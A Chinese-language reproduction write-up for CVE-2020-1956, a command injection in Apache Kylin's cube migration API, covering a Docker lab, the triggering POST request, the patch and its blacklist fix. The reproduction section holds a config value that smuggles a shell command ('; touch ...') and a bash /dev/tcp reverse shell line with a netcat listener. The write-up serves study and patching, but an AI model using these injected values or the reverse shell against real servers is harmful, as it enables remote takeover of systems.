【漏洞复现】CVE-2020-1956

server/2024/11/26 6:08:10/

漏洞信息

NVD - CVE-2020-1956

Apache Kylin 2.3.0, and releases up to 2.6.5 and 3.0.1 has some restful apis which will concatenate os command with the user input string, a user is likely to be able to execute any os command without any protection or validation.

背景介绍

Kylin is a high concurrency, high performance and intelligent OLAP engine that provides low-cost and ultimate data analytics experience.

• 主页:https://kylin.apache.org/

• 源码:https://github.com/apache/kylin/

环境搭建

# 拉取镜像
docker pull apachekylin/apache-kylin-standalone:3.0.1
# 运行
docker run -d -m 8G -p 7070:7070 -p 8088:8088 -p 50070:50070 -p 8032:8032 -p 8042:8042 -p 16010:16010 apachekylin/apache-kylin-standalone:3.0.1
# 进入容器
docker exec -it kylin /bin/bash

Kylin Web UI: http://127.0.0.1:7070/kylin/login

默认账号:admin、默认密码:KYLIN

【环境搭建】Apache Kylin 各个版本Docker搭建汇总-CSDN博客

【环境搭建】使用Dockerfile构建容器搭建Kylin特定版本-CSDN博客

漏洞复现

参考:Apache Kylin 命令注入漏洞 CVE-2020-1956 POC 分析

按照官方文档给出的路径发送 POST Migrate Cube 的报文:

POST /kylin/api/cubes/kylin_streaming_cube/learn_kylin/migrate HTTP/1.1

在这里插入图片描述

访问System–>Configuration,修改Server Config配置,添加如下内容:

kylin.tool.auuto-migrate-cube.enabled=true

在这里插入图片描述

修改完配置之后,再次发送 POST Migrate Cube 的报文,这次的报错提示为 Source configuration should not be empty.,这就说明刚才的配置生效了:

在这里插入图片描述

在源码的这个路径apache-kylin-3.0.1\server-base\src\main\java\org\apache\kylin\rest\service下可以找到CubeService.java,在其中可以找到刚才的报错信息Source configuration should not be empty.

在这里插入图片描述

可以看到代码中对 srcCfgUri 和 dstCfgUri 进行了非空检查,所以我们继续添加Server Config配置:

kylin.tool.auto-migrate-cube.src-config=/home/admin/apache-kylin-3.0.1-bin-hbase1x/conf/kylin.propertie
kylin.server.cluster-name=kylin_metadata
kylin.tool.auto-migrate-cube.dest-config=/tmp/kylin.properties kylin_streaming_cube learn_kylin true true true true; touch /tmp/Mitch311; echo

再次发送 POST Migrate Cube 的报文,得到200 OK

在这里插入图片描述

进入容器查看成功执行了命令touch Mitch311

在这里插入图片描述

如果想进一步反弹shell的话,只需要把刚才的命令换成如下:

bash -i >& /dev/tcp/<宿主机IP>/<port> 0>&1

在宿主机上使用netcat监听即可反弹shell:

nc -lvvp <port>

修复方案

这个漏洞的补丁代码在 github 上,地址是 https://github.com/apache/kylin/commit/9cc3793ab2f2f0053c467a9b3f38cb7791cd436a#

在这里插入图片描述

可以看出,漏洞点在 CubeService.java 中的 migrateCube() 函数,漏洞原因是使用 String.format() 格式化待执行的系统命令且未做过滤,导致命令内容可被注入,涉及的参数包括 srcCfgUridstCfgUriprojectName三个。

漏洞补丁方案对这些参数进行了黑名单过滤:

在这里插入图片描述

此外,从4.x.x之后的版本,从/kylin/api入口已经不能修改Server Config配置了。


http://www.ppmy.cn/server/144991.html

相关文章

Java爬虫与淘宝API接口:高效数据采集的结合

目录 引言 一、淘宝API接口介绍 二、请求淘宝API接口 三、解析淘宝API返回的JSON数据 四、存储淘宝商品数据 五、注意事项 结语 引言 在数字化时代&#xff0c;数据的价值日益凸显&#xff0c;尤其是在电商领域。淘宝作为中国最大的电商平台之一&#xff0c;拥有海量的…

c++(入门)

1. 引用 引用的定义 引用是另一个变量的别名&#xff0c;它在声明时必须被初始化&#xff0c;并且一旦初始化后&#xff0c;它就始终引用那个变量。 引用的语法 引用的声明方式是在变量名前加上&符号。 引用的特点 引用必须在声明时初始化。引用一旦初始化后&#x…

Python 版本的 2024详细代码

2048游戏的Python实现 概述&#xff1a; 2048是一款流行的单人益智游戏&#xff0c;玩家通过滑动数字瓷砖来合并相同的数字&#xff0c;目标是合成2048这个数字。本文将介绍如何使用Python和Pygame库实现2048游戏的基本功能&#xff0c;包括游戏逻辑、界面绘制和用户交互。 主…

纯js实现游戏加农炮

项目简介 这是一个使用 HTML、CSS 和 jQuery 开发的简单射击游戏。以下是项目的详细描述&#xff1a; 项目名称&#xff1a;加农炮气球射击游戏 技术栈&#xff1a; HTML5 CSS3 jQuery 3.6.0 游戏特点&#xff1a; 简单易上手&#xff1a;只需点击鼠标即可操作&#xff0c;适合…

linux命令之openssl用法

openssl 强大的安全套接字层密码库 补充说明 OpenSSL 是一个强大的安全套接字层密码库&#xff0c;囊括主要的密码算法、常用的密钥和证书封装管理功能及SSL协议&#xff0c;并提供丰富的应用程序供测试或其它目的使用。在OpenSSL被曝出现严重安全漏洞后&#xff0c;发现多数…

php pgsql设置模式

第1种&#xff1a; $db new PDO(pgsql:host127.0.0.1;port5432;dbnametest;options--search_path模式名,postgres,123456); 第2种&#xff1a; $db new PDO(pgsql:host127.0.0.1;port5432;dbnametest,postgres,123456); $db->exec("SET search_path TO 模式名;&quo…

神经网络12-Time-Series Transformer (TST)模型

Time-Series Transformer (TST) 是一种基于 Transformer 架构的深度学习模型&#xff0c;专门用于时序数据的建模和预测。TST 是 Transformer 模型的一个变种&#xff0c;针对传统时序模型&#xff08;如 RNN、LSTM&#xff09;在处理长时间依赖、复杂数据关系时的限制而提出的…

WordPress添加类似说说、微博的时间轴微语页面

这个版本的WordPress可以直接使用&#xff0c;CSS样式可以完美兼容。效果如图 使用方法&#xff1a; 一、后台配置 新建微语功能 将下面的代码复制粘贴到主题的functions.php函数文件中&#xff0c;为WordPress添加微语功能。添加完成后&#xff0c;可以在WordPress后台菜单…